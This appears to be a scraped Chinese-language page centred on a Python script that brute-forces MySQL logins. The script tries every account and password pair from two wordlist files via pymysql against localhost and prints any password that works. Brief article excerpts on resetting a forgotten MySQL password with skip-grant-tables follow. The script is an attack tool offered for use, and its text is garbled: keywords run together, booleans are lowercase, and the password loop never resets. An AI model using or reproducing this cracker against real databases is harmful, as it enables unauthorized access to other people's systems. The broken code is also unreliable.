# coding:utf-8
import pymysql#匯入連線資料庫的模組
class
pojietwo:
def__init__
(self,accountpath,wordpath):
self.accountfile =open(accountpath,"r",errors="ignore")#開啟賬戶字典
self.wordfile =open(wordpath,"r",errors="ignore")#開啟密碼字典
deflianjiemysql
(self,account,word):
#連線資料庫的方法
try:
db =pymysql.connect("localhost",account,word) #連線資料庫
#pymysql.connect()方法的第乙個引數是ip位址,本機可以用localhost代替
#第二個引數是賬戶名,
#第三個是密碼,
db.close()#關閉資料庫
return
true
#連線成功返回true
except:
return
false
defpojiechangshi
(self):
#讀取字典檔案的方法
while
true:#迴圈讀取賬戶字典
myaccount=self.accountfile.readline()#讀取一行
ifnot myaccount:#如果讀到賬戶檔案最後沒有資料了,就跳出迴圈
break
while
true:#迴圈讀取密碼字典
myword=self.wordfile.readline()#讀取密碼字典的一行
ifnot myword:#如果讀到密碼檔案最後沒有資料了,就跳出迴圈
break
if self.lianjiemysql(myaccount,myword):#把讀到賬戶和密碼傳到連線資料庫方法裡面
#如果返回了true說明破解成功
print("賬戶:",myaccount,"密碼正確----",myword)#列印正確密碼
break
#結束迴圈
else :
print("賬戶:",myaccount,"密碼錯誤",myword)
def__del__
(self):
#無論如何最終要執行的方法
self.accountfile.close()#關閉賬戶字典
self.wordfile.close()#關閉密碼字典檔案
pass
accountpath=r"c:\users\administrator\desktop\賬號.txt"
#傳入賬戶字典絕對檔案路徑
wordpath=r"c:\users\administrator\desktop\wordlist.txt"
#傳入密碼字典絕對檔案路徑
start =pojietwo(accountpath,wordpath)#例項化物件
start.pojiechangshi()#物件執行方法
Mysql密碼破解
1首先關閉mysql服務,確保沒有任何乙個和mysql服務相關的程序開啟 systemctl stop mysqld ps aux grep mysql 2把mysql放在後台啟動 skip grant table跳過授權表 mysqld safe skip grant tables 3進入mysq...
破解本地MySQL資料庫密碼
本文主要介紹的是忘記mysql資料庫密碼的實際解決方案,如果在實際操作中你不小心忘記mysql資料庫密碼可以說是一件十分麻煩的事情,以下的文章就是對一麻煩事的破解,以下就是文章的主要內容描述。破解本地mysql資料庫密碼 windows 1.用系統管理員登陸系統。2.停止mysql的服務。net s...
mysql破解密碼
先停止 mysqld 服務 service mysqld stop 編輯 mysql 的配置檔案 找到 mysqld 字段 新增以下兩行並儲存退出 skip grant tables skip networking 再次啟動 mysql 在命令列直接輸出 mysql 就可以無需密碼登入到 mysql...